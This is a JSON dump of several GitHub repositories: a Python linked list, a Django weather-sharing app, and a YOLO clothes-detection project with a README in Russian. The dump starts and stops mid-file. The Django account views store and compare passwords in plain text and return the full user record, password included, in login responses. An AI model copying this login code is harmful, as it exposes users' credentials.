found\r\n print(\"From Search_node Returning node having value = \"+str(curr.data))\r\n return curr\r\n\r\n def delete_given_value(self, del_value):\r\n curr = self.head\r\n previous = curr\r\n if self.head is not None: # if tree is not empty\r\n while curr is not None:\r\n if curr.data == del_value: # if found the node having value which you want to delete\r\n break\r\n else:\r\n previous = curr # previous and current move consectively\r\n curr = curr.next\r\n if curr is None: # if not found\r\n print(\"Value Not Found\")\r\n else: # found the node\r\n if curr == self.head: # if the value match with the header node\r\n print(\"You are trying to delete Start node so \", end=\" \")\r\n self.delete_from_start()\r\n elif curr == self.tail: # if value matches with the tail node\r\n print(\"You are trying to delete Last node so \", end=\" \")\r\n self.delete_from_last()\r\n else: # value in between the head and tail\r\n previous.next = curr.next\r\n print(\"Node deleted having data = \"+str(curr.data))\r\n del curr\r\n\r\n def print_list(self):\r\n curr = self.head # starting from head\r\n if self.head is not None:\r\n while curr is not None: # iterate whole list\r\n print(\" \"+str(curr.data), end=\" \") # print\r\n curr = curr.next # and move to next\r\n print(\"\\n\")\r\n else: # if list is empty\r\n print(\"List is empty\")\r\n" }, { "alpha_fraction": 0.4735315442085266, "alphanum_fraction": 0.4800580143928528, "avg_line_length": 42.54838562011719, "blob_id": "ec2116e1db537994ba475ab9912727e338d6aeda", "content_id": "d1f1162e377c940ce4805cea27a8fbcac9854610", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1379, "license_type": "no_license", "max_line_length": 107, "num_lines": 31, "path": "/main.py", "repo_name": "AshfaqUet/Linked-List-in-Python", "src_encoding": "UTF-8", "text": "# ########################################### Importing Linked List#######################################\r\nfrom linked_list import LinkedList\r\n\r\n# ######################################### Object of linked list #########################################\r\nlink_list_object = LinkedList()\r\n\r\n# ######################################## Inserting value in the list ####################################\r\nlink_list_object.insert_at_start(1)\r\nlink_list_object.insert_at_start(0)\r\nlink_list_object.insert_at_start(2)\r\nlink_list_object.insert_at_start(3)\r\nlink_list_object.insert_at_start(4)\r\nlink_list_object.insert_at_start(5)\r\nlink_list_object.insert_at_start(6)\r\n\r\n# ####################################### Printing list before Deletion ###################################\r\nprint(\"Printing List Before DELETION:\")\r\nlink_list_object.print_list()\r\n\r\n# ######################################### Deleting some value ##########################################\r\nlink_list_object.delete_given_value(3)\r\nlink_list_object.delete_from_last()\r\nlink_list_object.delete_from_start()\r\n\r\n# ########################################### Printing list after deletion ################################\r\nprint(\"Printing List After DELETION:\")\r\nlink_list_object.print_list()\r\n\r\nfind = link_list_object.search_node(2)\r\nif(find!= None):\r\n print(\"We recieve this node as a result of search \"+str(find.data))" }, { "alpha_fraction": 0.7660377621650696, "alphanum_fraction": 0.7660377621650696, "avg_line_length": 65.25, "blob_id": "858735a794079b08f81c2da3d7d7d083dadc6935", "content_id": "f55f33cf5d6e4cd4c9d4c921d32a200b95b25fe9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 265, "license_type": "no_license", "max_line_length": 131, "num_lines": 4, "path": "/README.md", "repo_name": "AshfaqUet/Linked-List-in-Python", "src_encoding": "UTF-8", "text": "# Linked-List-in-Python\nIt is commented so that easy to understand.\nI have made it in pycharm IDE but you can run in any python IDE.\nI have studied the data structure in C++. but it is difficult for me to convert its algorithms in python so i have made it for you.\n" } ]
3
MinjiKim77/human_wea
https://github.com/MinjiKim77/human_wea
cb52c5dd8720d24b0110a0df2b42664a686e054a
1d167b9e43240f2f7c4a63bc8509327a798e5b3c
d7899bf3a5734caf8a22a8c97a462fedfa2b3566
refs/heads/master
2022-11-24T13:15:40.975357
2020-07-27T00:46:57
2020-07-27T00:46:57
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5384615659713745, "alphanum_fraction": 0.6331360936164856, "avg_line_length": 24.350000381469727, "blob_id": "5aed49117f9dd3e44e29bc309626eacf793ad700", "content_id": "8a7930ee537980146d210a78f90318eace3be1a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 507, "license_type": "no_license", "max_line_length": 109, "num_lines": 20, "path": "/nalsiwoori/migrations/0007_auto_20200723_1734.py", "repo_name": "MinjiKim77/human_wea", "src_encoding": "UTF-8", "text": "# Generated by Django 3.0.3 on 2020-07-23 08:34\n\nimport datetime\nfrom django.db import migrations, models\nfrom django.utils.timezone import utc\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('nalsiwoori', '0006_auto_20200723_1013'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='selection',\n name='pub_date',\n field=models.DateTimeField(default=datetime.datetime(2020, 7, 23, 8, 34, 4, 210719, tzinfo=utc)),\n ),\n ]\n" }, { "alpha_fraction": 0.6331862807273865, "alphanum_fraction": 0.6365795731544495, "avg_line_length": 31.395605087280273, "blob_id": "d7d984b24ab7f1fbf6ae38fa7a313f3f31291cde", "content_id": "f171f32835289feb143fc3d9bda25b5002150053", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3127, "license_type": "no_license", "max_line_length": 90, "num_lines": 91, "path": "/account/views.py", "repo_name": "MinjiKim77/human_wea", "src_encoding": "UTF-8", "text": "from django.http import HttpResponse, HttpResponseRedirect, Http404, request, JsonResponse\nfrom django.shortcuts import render\nfrom .models import *\nfrom django.forms.models import model_to_dict\nimport requests\n\n# from django.urls import reverse\n# from django.template import loader\n\n# home.html로 전송(유효한 코드인지 모름)\ndef home(request):\n return render(request, 'nalsiwoori/home.html')\n# 로그인 렌더링\ndef login(request):\n return render(request, 'account/login.html')\n\n# 로그인값 확인\ndef login_function(request):\n count = 0\n login_id = request.POST.get('login_id')\n login_pw = request.POST.get('login_pw')\n user_all = User.objects.all()\n \n # print(user_all)\n for i in range(len(user_all)):\n if user_all[i].user_id == login_id:\n if user_all[i].user_pw == login_pw:\n # user_all[i]가 dict이 아니기 때문에 model_to_dict 명령어로 강제로 dic형변환\n request.session['user'] = model_to_dict(user_all[i])\n obj = request.session['user']\n return JsonResponse(obj) # 로그인성공\n else:\n return HttpResponse('1') ##비밀번호 다시입력\n count = 1\n if count == 0:\n return HttpResponse('2') ## 아이디 다시입력\n\ndef signup(request):\n return render(request, 'account/signup.html')\n\ndef signup_function(request) :\n signup_nick = request.POST.get('signup_nick')\n signup_name = request.POST.get('signup_name')\n signup_email = request.POST.get('signup_email')\n signup_id = request.POST.get('signup_id')\n signup_pw = request.POST.get('signup_pw')\n user_all = User.objects.all()\n for i in range(len(user_all)):\n if (user_all[i].user_id == signup_id)&(user_all[i].email == signup_email):\n return HttpResponse('1')\n \n newbie = User(\n nick = signup_nick,\n name = signup_name,\n email = signup_email,\n user_id = signup_id,\n user_pw = signup_pw,)\n newbie.save()\n return HttpResponse('0')\n\ndef find_id(request):\n return render(request, 'account/find_id.html')\n\ndef find_pw(request):\n return render(request, 'account/find_pw.html')\n\n# session값 클리어 후, 로그아웃_구현중\n\ndef find_id_function(request):\n find_id_name = request.POST.get('find_id_name')\n find_id_email = request.POST.get('find_id_email')\n # 해당 데이터만 조회\n try:\n user = User.objects.get(name=find_id_name, email=find_id_email)\n return JsonResponse(model_to_dict(user), safe=False)\n except:\n return JsonResponse({'result':'fail'}, safe=False)\n\ndef find_pw_function(request):\n find_pw_id = request.POST.get('find_pw_id')\n find_pw_email = request.POST.get('find_pw_email')\n # 해당 데이터만 조회\n try:\n user = User.objects.get(user_id=find_pw_id, email=find_pw_email)\n return JsonResponse(model_to_dict(user), safe=False)\n except:\n return JsonResponse({'result':'fail'}, safe=False)\n\ndef logout(request):\n request.session.clear()\n return render(request, 'account/login.html')" }, { "alpha_fraction": 0.6382699608802795, "alphanum_fraction": 0.6382699608802795, "avg_line_length": 41.44444274902344, "blob_id": "53f0cce0a9e20f09c4e11af5561be799d18eba26", "content_id": "2093046c62c8e55e7fc2110b16b9fea4bc52eece", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 763, "license_type": "no_license", "max_line_length": 80, "num_lines": 18, "path": "/account/urls.py", "repo_name": "MinjiKim77/human_wea", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom django.urls import path, include\nfrom . import views\n\napp_name = 'account'\nurlpatterns = [\n # path('home/', views.home, name='home'),\n path('', views.login, name='login'),\n path('login_function/', views.login_function, name = 'login_function'),\n path('signup/', views.signup, name='signup'), \n path('signup_function/', views.signup_function, name = 'login_function'),\n path('find_id/', views.find_id, name='find_id'), \n path('find_id_function/', views.find_id_function, name='find_id_function'), \n path('find_pw/', views.find_pw, name='find_pw'), \n path('find_pw_function/', views.find_pw_function, name='find_pw_function'), \n path('logout/', views.logout, name='logout'), \n \n]" }, { "alpha_fraction": 0.5671446919441223, "alphanum_fraction": 0.6310299634933472, "avg_line_length": 28.5, "blob_id": "11f2b2e8172403d13866593b81992756a2bed7e6", "content_id": "174bd9bf6e3b65bfd65e11ce9492686b6f11cbea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 767, "license_type": "no_license", "max_line_length": 118, "num_lines": 26, "path": "/nalsiwoori/migrations/0008_auto_20200724_1153.py", "repo_name": "MinjiKim77/human_wea", "src_encoding": "UTF-8", "text": "# Generated by Django 3.0.3 on 2020-07-24 02:53\n\nimport datetime\nfrom django.db import migrations, models\nimport django.db.models.deletion\nfrom django.utils.timezone import utc\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('nalsiwoori', '0007_auto_20200724_1130'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='selection',\n name='map_data',\n field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='nalsiwoori.map_data'),\n ),\n migrations.AlterField(\n model_name='selection',\n name='pub_date',\n field=models.DateTimeField(default=datetime.datetime(2020, 7, 24, 2, 53, 45, 984585, tzinfo=utc)),\n ),\n ]\n" }, { "alpha_fraction": 0.654321014881134, "alphanum_fraction": 0.654321014881134, "avg_line_length": 32.66666793823242, "blob_id": "6bb312bc78555a2c3a225ac0726e2dd07bff27c3", "content_id": "97d31a7dbbd7576408d2bb52b221bb60a68acf9c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 405, "license_type": "no_license", "max_line_length": 64, "num_lines": 12, "path": "/nalsiwoori/urls.py", "repo_name": "MinjiKim77/human_wea", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom django.urls import path\nfrom .import views\n\napp_name = 'nalsiwoori'\nurlpatterns = [\n path('load_map_db/', views.load_map_db, name='load_map_db'),\n path('home/', views.home, name='home'),\n path('weather/', views.weather, name='weather'),\n path('log_wea/', views.log_wea, name='log_wea'),\n path('load_sel_db/', views.load_sel_db, name='load_sel_db'),\n] " }, { "alpha_fraction": 0.8253012299537659, "alphanum_fraction": 0.8253012299537659, "avg_line_length": 26.83333396911621, "blob_id": "8335ed3d3e8e5704fb0fe4aabaef7b67b69233fd", "content_id": "11b462b030a1f9150d3439ce96f32b1846c289e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 166, "license_type": "no_license", "max_line_length": 44, "num_lines": 6, "path": "/nalsiwoori/admin.py", "repo_name": "MinjiKim77/human_wea", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Selection,Users,map_data\n\nadmin.site.register(Selection)\nadmin.site.register(Users)\nadmin.site.register(map_data)" }, { "alpha_fraction": 0.7684210538864136, "alphanum_fraction": 0.7684210538864136, "avg_line_length": 18, "blob_id": "03cc50cfb5c26c149238c4646b46c5404124a0b6", "content_id": "02d38a95a3a5883c13eb9605abf1b6e21cda568f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 95, "license_type": "no_license", "max_line_length": 34, "num_lines": 5, "path": "/nalsiwoori/apps.py", "repo_name": "MinjiKim77/human_wea", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass NalsiwooriConfig(AppConfig):\n name = 'nalsiwoori'\n" }, { "alpha_fraction": 0.5558343529701233, "alphanum_fraction": 0.6223337650299072, "avg_line_length": 28.518518447875977, "blob_id": "2ac7ba48caec917c2e024064198b7d38b3bbfc57", "content_id": "f437bf4732c73e37ac47701f5fb47720cb214f1d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 797, "license_type": "no_license", "max_line_length": 111, "num_lines": 27, "path": "/nalsiwoori/migrations/0007_auto_20200724_1130.py", "repo_name": "MinjiKim77/human_wea", "src_encoding": "UTF-8", "text": "# Generated by Django 3.0.3 on 2020-07-24 02:30\n\nimport datetime\nfrom django.db import migrations, models\nimport django.db.models.deletion\nfrom django.utils.timezone import utc\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('account', '0001_initial'),\n ('nalsiwoori', '0006_auto_20200723_1013'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='selection',\n name='pub_date',\n field=models.DateTimeField(default=datetime.datetime(2020, 7, 24, 2, 30, 2, 751552, tzinfo=utc)),\n ),\n migrations.AlterField(\n model_name='selection',\n name='user_data',\n field=models.ForeignKey(default=0, on_delete=django.db.models.deletion.CASCADE, to='account.User'),\n ),\n ]\n" }, { "alpha_fraction": 0.579119086265564, "alphanum_fraction": 0.584013044834137, "avg_line_length": 29.058822631835938, "blob_id": "6871adfc3f2134b1a31eb7d22cb6f0a5fb3fc435", "content_id": "39cda2204c1440e76e38e41c430d6a26f1037930", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3107, "license_type": "no_license", "max_line_length": 129, "num_lines": 102, "path": "/nalsiwoori/views.py", "repo_name": "MinjiKim77/human_wea", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse, Http404, HttpResponseRedirect, JsonResponse\nfrom django.urls import reverse\nfrom django.utils import timezone\nfrom .models import *\nfrom account.models import *\nfrom django.db.models import Q\nfrom django.forms.models import model_to_dict\nfrom django.contrib.auth.hashers import check_password\n\n# def index(request):\n# return render(request, 'nalsiwoori/home.html')\n\ndef weather(request):\n si = request.GET.get('si')\n gu = request.GET.get('gu')\n \n if si and gu:\n sel_list = Selection.objects.filter(state=si, city=gu).order_by('-pub_date')[:20]\n else:\n sel_list = Selection.objects.order_by('-pub_date')[:20]\n # sel_list = Selection.obㄴjects.all()\n html = ''\n for s in sel_list:\n html += s.state + '<br>'\n return render(request, 'nalsiwoori/weather.html',{'list': sel_list})\n \ndef home(request):\n sel_list = Selection.objects.order_by('-pub_date')[:10]\n # sel_list = Selection.objects.all()\n html = ''\n\n for s in sel_list:\n html += s.state + '<br>'\n return render(request, 'nalsiwoori/home.html', {'list': sel_list})\n # return HttpResponse(html)\n\ndef log_wea(request):\n state = request.GET.get('state1')\n city = request.GET.get('city1')\n cur_wea = request.GET.get('cur_wea')\n\n try:\n md = map_data.objects.get(state=state, city=city)\n except:\n md = None\n finally:\n uu = request.session['user']\n user = User.objects.get(id=request.session['user']['id'])\n\n sel = Selection(map_idx=0, map_data=md, user_data=user, state=state, city=city, cur_wea=cur_wea, pub_date=timezone.now())\n sel.save()\n\n return JsonResponse({'result':'날씨가 입력되었습니다.'})\n # return HttpResponse(html)\n\ndef load_map_db(request):\n map_datas = map_data.objects.all()\n json_data = []\n for data in map_datas:\n obj = model_to_dict(data)\n try:\n # cur_wea = data.selection_set.all().order_by('-pub_date')[:1][0].cur_wea\n cur_wea = data.selection_set.all().order_by('-pub_date')[:][0].cur_wea\n except:\n cur_wea = ''\n\n obj['cur_wea'] = cur_wea\n \n if cur_wea == \"맑음\":\n obj['icon'] = \"sunny\"\n elif cur_wea == \"흐림\":\n obj['icon'] = \"cloud\"\n elif cur_wea == \"비\":\n obj['icon'] = \"rain\"\n elif cur_wea == \"눈\":\n obj['icon'] = \"snow\"\n elif cur_wea == \"천둥\":\n obj['icon'] = \"thunder\"\n elif cur_wea == \"우박\":\n obj['icon'] = \"hail\"\n\n \n # print(obj)\n # print(obj.city, cur_wea)\n json_data.append(obj)\n\n return JsonResponse(json_data, safe=False)\n\n\ndef load_sel_db(request):\n \n temp = Selection.objects.all().select_related('map_data')\n sel_datas = []\n for data in temp:\n obj = model_to_dict(data)\n obj['lat'] = data.map_data.lat\n obj['lng'] = data.map_data.lng\n sel_datas.append(obj)\n # print(obj)\n\n return JsonResponse(sel_datas, safe=False)" }, { "alpha_fraction": 0.5324324369430542, "alphanum_fraction": 0.5648648738861084, "avg_line_length": 41.69230651855469, "blob_id": "d29458155ba1938c360d6ab6b52930522a2c96f4", "content_id": "29a13e11fbc390eaa5453436178445e79c04fddf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2220, "license_type": "no_license", "max_line_length": 130, "num_lines": 52, "path": "/nalsiwoori/migrations/0001_initial.py", "repo_name": "MinjiKim77/human_wea", "src_encoding": "UTF-8", "text": "# Generated by Django 3.0.8 on 2020-07-21 09:21\n\nimport datetime\nfrom django.db import migrations, models\nimport django.db.models.deletion\nfrom django.utils.timezone import utc\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='map_data',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('state', models.CharField(max_length=255)),\n ('city', models.CharField(max_length=255)),\n ('lat', models.IntegerField(max_length=255)),\n ('lng', models.IntegerField(max_length=255)),\n ('map_x', models.IntegerField(max_length=255)),\n ('map_y', models.IntegerField(max_length=255)),\n ],\n ),\n migrations.CreateModel(\n name='Users',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('user_name', models.CharField(max_length=64)),\n ('user_email', models.EmailField(max_length=64)),\n ('user_nick', models.CharField(max_length=64)),\n ('user_pw', models.CharField(max_length=64)),\n ],\n ),\n migrations.CreateModel(\n name='Selection',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('map_idx', models.IntegerField(max_length=255)),\n ('state', models.CharField(max_length=255)),\n ('city', models.CharField(max_length=255)),\n ('cur_wea', models.CharField(max_length=255)),\n ('pub_date', models.DateTimeField(default=datetime.datetime(2020, 7, 21, 9, 21, 6, 521936, tzinfo=utc))),\n ('map_data', models.ForeignKey(default=0, on_delete=django.db.models.deletion.CASCADE, to='nalsiwoori.map_data')),\n ('user_data', models.ForeignKey(default=0, on_delete=django.db.models.deletion.CASCADE, to='nalsiwoori.Users')),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.6960227489471436, "alphanum_fraction": 0.7329545617103577, "avg_line_length": 38.14814758300781, "blob_id": "5c59583de452adac84876d9a043a04b5cd6148d3", "content_id": "b047af2b1f8c3627b391972a8f7cdf77370b8b12", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1056, "license_type": "no_license", "max_line_length": 79, "num_lines": 27, "path": "/nalsiwoori/models.py", "repo_name": "MinjiKim77/human_wea", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.utils import timezone\nfrom account.models import User\n\nclass Users(models.Model): \n user_name= models.CharField(max_length=64)\n user_email= models.EmailField(max_length=64)\n user_nick= models.CharField(max_length=64)\n user_pw = models.CharField(max_length=64)\n\nclass map_data(models.Model):\n state = models.CharField(max_length=255)\n city = models.CharField(max_length=255)\n lat = models.IntegerField(max_length=255)\n lng = models.IntegerField(max_length=255)\n map_x = models.IntegerField(max_length=255)\n map_y = models.IntegerField(max_length=255)\n\nclass Selection(models.Model):\n user_data = models.ForeignKey(User, on_delete=models.CASCADE, default=0)\n map_data = models.ForeignKey(map_data, on_delete=models.CASCADE, null=True)\n map_idx = models.IntegerField(max_length=255)\n\n state = models.CharField(max_length=255)\n city = models.CharField(max_length=255)\n cur_wea = models.CharField(max_length=255)\n pub_date = models.DateTimeField(default=timezone.now())" }, { "alpha_fraction": 0.6702127456665039, "alphanum_fraction": 0.7234042286872864, "avg_line_length": 34.375, "blob_id": "a9b174672a2586ee20e78338975fdab6bb461d04", "content_id": "95ca1dfcabdc5661b14f0ab68db05e286dc18773", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 282, "license_type": "no_license", "max_line_length": 46, "num_lines": 8, "path": "/account/models.py", "repo_name": "MinjiKim77/human_wea", "src_encoding": "UTF-8", "text": "from django.db import models\n\nclass User(models.Model):\n nick = models.CharField(max_length=255)\n name = models.CharField(max_length=255)\n email = models.CharField(max_length=255)\n user_id = models.CharField(max_length=255)\n user_pw = models.CharField(max_length=255)" }, { "alpha_fraction": 0.6329113841056824, "alphanum_fraction": 0.6329113841056824, "avg_line_length": 29.384614944458008, "blob_id": "596a863bd8aa434128478b981568cc0d1b5218a9", "content_id": "34fb14ddba32aab790483e07aa196aed58e1a0b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 395, "license_type": "no_license", "max_line_length": 60, "num_lines": 13, "path": "/human_wea/urls.py", "repo_name": "MinjiKim77/human_wea", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom django.urls import path,include\nfrom nalsiwoori import views\nfrom account import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', include('account.urls')),\n # path('account/',include('account.urls')), \n # path('nalsiwoori/',include('nalsiwoori.urls')), \n path('',include('nalsiwoori.urls')), \n \n]\n" } ]
13
mosfiratnasreen/WondeRobe_Clothes_test
https://github.com/mosfiratnasreen/WondeRobe_Clothes_test
796a628fdc7bd9997bc81010b3d9eca4ac882353
78273b0266a9c16d52800b56326a1b45f844cb9f
bc4a3c721f1a2cfe30e4744e7d42bf527d5965d1
refs/heads/master
2022-11-19T12:42:44.370495
2020-07-23T01:32:24
2020-07-23T01:32:24
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6533753275871277, "alphanum_fraction": 0.7373207211494446, "avg_line_length": 70.4749984741211, "blob_id": "bf0da902bb68ec696a3b4695c477968671a355f3", "content_id": "0b08b5f4085907b3fe804a687f9fa4b88867c0e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3678, "license_type": "no_license", "max_line_length": 412, "num_lines": 40, "path": "/README.md", "repo_name": "mosfiratnasreen/WondeRobe_Clothes_test", "src_encoding": "UTF-8", "text": "# Clothes Detection\n\n## Dataset\n\nВо-первых был подобран датасет: DeepFashion2 (https://github.com/switchablenorms/DeepFashion2). Объёмный, свежий, с хорошей разметкой - идеально для нашей задачи (за исключением малости категорий, всего 13). Статистика датасета:\n\n![image](https://github.com/switchablenorms/DeepFashion2/blob/master/images/statistics_all.jpg)\n\nПлюсом к датасету была статья (https://arxiv.org/pdf/1901.07973.pdf) содержащая много полезного: предлагаласть метрика + opensourse код для неё, также описывалось решение нашей задачи архитектурой Mask R-CNN и получение данных результатов:\n\n<p align='center'>Table 1: Clothes detection trained with released DeepFashion2 Dataset evaluated on validation set.</p>\n\n| AP | AP50 | AP75 | \n|---:|---:|---:|\n|0.638|0.789|0.745|\n\n<p align='center'>Table 2: Clothes detection on different validation subsets, including scale, occlusion, zoom-in, and viewpoint.</p>\n\n|||<sub>Scale|||<sub>Occlusion|||<sub>Zoom_in|||<sub>Viewpoint||<sub>Overall|\n|:----:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|\n||<sub>small|<sub>moderate|<sub>large|<sub>slight|<sub>medium|<sub>heavy|<sub>no|<sub>medium|<sub>large|<sub>no wear|<sub>frontal|<sub>side or back||\n|<sub>AP|<sub>0.604|<sub>0.700|<sub>0.660|<sub>0.712|<sub>0.654|<sub>0.372|<sub>0.695|<sub>0.629|<sub>0.466|<sub>0.624|<sub>0.681|<sub>0.641|<sub>0.667|\n|<sub>AP50|<sub>0.780|<sub>0.851|<sub>0.768|<sub>0.844|<sub>0.810|<sub>0.531|<sub>0.848|<sub>0.755|<sub>0.563|<sub>0.713|<sub>0.832|<sub>0.796|<sub>0.814|\n|<sub>AP75|<sub>0.717|<sub>0.809|<sub>0.744|<sub>0.812|<sub>0.768|<sub>0.433|<sub>0.806|<sub>0.718|<sub>0.525|<sub>0.688|<sub>0.791|<sub>0.744|<sub>0.773\n\n## Solution\n\nКонечно, можно просто пойти по стопам составителей датасета, но мы всё-таки используем инновационные технологии) Воспользуемcя архитектурой YOLO и мы получим более быстрое и точное решение.\nПреобразовав датасет в COCO Data, модифицировав cfg для COCO (config можно найти в https://github.com/AlberetOZ/WondeRobe_Clothes_test/tree/master/yolo/df2cfg), переходим к обучению с помощью фреймворка Darknet:\n./darknet detector train cfg/coco.data cfg/yolov3.cfg darknet53.conv.74\n\nПолученные веса (checkpoints) лежат в https://drive.google.com/drive/folders/1bKmHJyScpTRlWuVS4Uy6qh1DYhqy8zaf?usp=sharing\n\n## Result\n\nМы получили неплохую демо версию Детектрона атрибута одежды (Примеры работы можно найти в https://github.com/AlberetOZ/WondeRobe_Clothes_test/tree/master/output). В перспективе этот проект можно оптимизировать (тем более если потребуется работа с видеопотоком), расширить количество категорий одежды, модифицировать сетку и многое другое, + определять также цвет/стиль и др. По времени было затрачено ~20 часов. \n\n# That's all\n\n![result](https://user-images.githubusercontent.com/32402386/88243549-6680c880-cc99-11ea-8a07-e613aefdeb0e.jpg)\n" }, { "alpha_fraction": 0.4882929027080536, "alphanum_fraction": 0.5376756191253662, "avg_line_length": 27.301204681396484, "blob_id": "6bafb4bfe142af045663da8b584023172ca1316e", "content_id": "b9dc0050c46e9a115bdf6ed3060569890ec7302c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2349, "license_type": "no_license", "max_line_length": 93, "num_lines": 83, "path": "/Clothes_demo.py", "repo_name": "mosfiratnasreen/WondeRobe_Clothes_test", "src_encoding": "UTF-8", "text": "import torch\nimport os\nimport cv2\nfrom yolo.utils.utils import *\nfrom predictors.YOLOv3 import YOLOv3Predictor\n#from predictors.DetectronModels import Predictor\nimport glob\nfrom tqdm import tqdm\nimport sys\n\n\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\ntorch.cuda.empty_cache()\n\n\n#YOLO PARAMS\nyolo_params = { \"model_def\" : \"yolo/df2cfg/yolov3-df2.cfg\",\n\"weights_path\" : \"yolo/weights/yolov3-df2_15000.weights\",\n\"class_path\":\"yolo/df2cfg/df2.names\",\n\"conf_thres\" : 0.5,\n\"nms_thres\" :0.4,\n\"img_size\" : 416,\n\"device\" : device}\n\nclasses = load_classes(yolo_params[\"class_path\"])\n\n#Colors\ncmap = plt.get_cmap(\"rainbow\")\ncolors = np.array([cmap(i) for i in np.linspace(0, 1, 13)])\n#np.random.shuffle(colors)\n\n\n\n#\n\n\nmodel = 'yolo'\ndetectron = YOLOv3Predictor(params=yolo_params)\n\ndir = \"tests\"\nfor image in os.listdir(dir):\n path = os.path.join(dir,image)\n print(path)\n img = cv2.imread(path)\n detections = detectron.get_detections(img)\n\n \n if len(detections) != 0 :\n detections.sort(reverse=False ,key = lambda x:x[4])\n for x1, y1, x2, y2, cls_conf, cls_pred in detections:\n \n print(\"Item: %s, Conf: %.5f\" % (classes[int(cls_pred)], cls_conf)) \n\n color = colors[int(cls_pred)]\n \n color = tuple(c*255 for c in color)\n color = (.7*color[2],.7*color[1],.7*color[0]) \n \n font = cv2.FONT_HERSHEY_SIMPLEX \n \n \n x1, y1, x2, y2 = int(x1), int(y1), int(x2), int(y2)\n text = \"%s conf: %.3f\" % (classes[int(cls_pred)] ,cls_conf)\n \n cv2.rectangle(img,(x1,y1) , (x2,y2) , color,3)\n y1 = 0 if y1<0 else y1\n y1_rect = y1-25\n y1_text = y1-5\n\n if y1_rect<0:\n y1_rect = y1+27\n y1_text = y1+20\n cv2.rectangle(img,(x1-2,y1_rect) , (x1 + int(8.5*len(text)),y1) , color,-1)\n cv2.putText(img,text,(x1,y1_text), font, 0.5,(255,255,255),1,cv2.LINE_AA)\n \n \n\n \n cv2.imshow('Detections',img)\n img_id = path.split('/')[-1].split('.')[0]\n cv2.imwrite('output/{}_{}.jpg'.format(img_id,model),img)\n cv2.waitKey(3000)\n" } ]
2
smj0/GOT
https://github.com/smj0/GOT
a2d2610eb4d79cb0a8c28409bc62014842563f77
cdaeda657898f939fe51765ae4e4f034eb84c781
f7c5d19a6df892b1a536e7ea43acf85119393713
refs/heads/main
2023-08-18T04:26:28.100578
2021-09-24T05:54:56
2021-09-24T05:54:56
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5653992295265198, "alphanum_fraction": 0.5701521039009094, "avg_line_length": 41.0880012512207, "blob_id": "24e4eba0ce32cd9f115ada7bfd48bf02990937e8", "content_id": "91b1a3f58a3eb8a6278a87d021c1f8ad42ae68a2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5260, "license_type": "permissive", "max_line_length": 132, "num_lines": 125, "path": "/locating_module.py", "repo_name": "smj0/GOT", "src_encoding": "UTF-8", "text": "import pandas as pd\nfrom tqdm import tqdm\nimport json\nimport torch\nfrom nltk.corpus import stopwords\nfrom transformers import GPT2LMHeadModel\nfrom model.ConditionalLM import ConditionalLM\nfrom util.utils import load_args, compute_logProb, init_tokenizer\nfrom util.CLMDataset import CLMDataset\nfrom torch.utils.data import DataLoader\nfrom collections import Counter\nimport json\nfrom tqdm import tqdm\nimport os\n\nen_stopwords = list(stopwords.words('english'))\n\nclass LocatingModule():\n\n def __init__(self, config='configs/locating.yaml'):\n self.args = load_args(config)\n print(self.args)\n if not os.path.isdir('output/locating/{}'.format(self.args.dataset)):\n os.mkdir('output/locating/{}'.format(self.args.dataset))\n \n def load_utt_intent(self, fname):\n df = pd.read_csv(fname)\n return [(utt, intent) for utt, intent in zip(list(df['utt']), 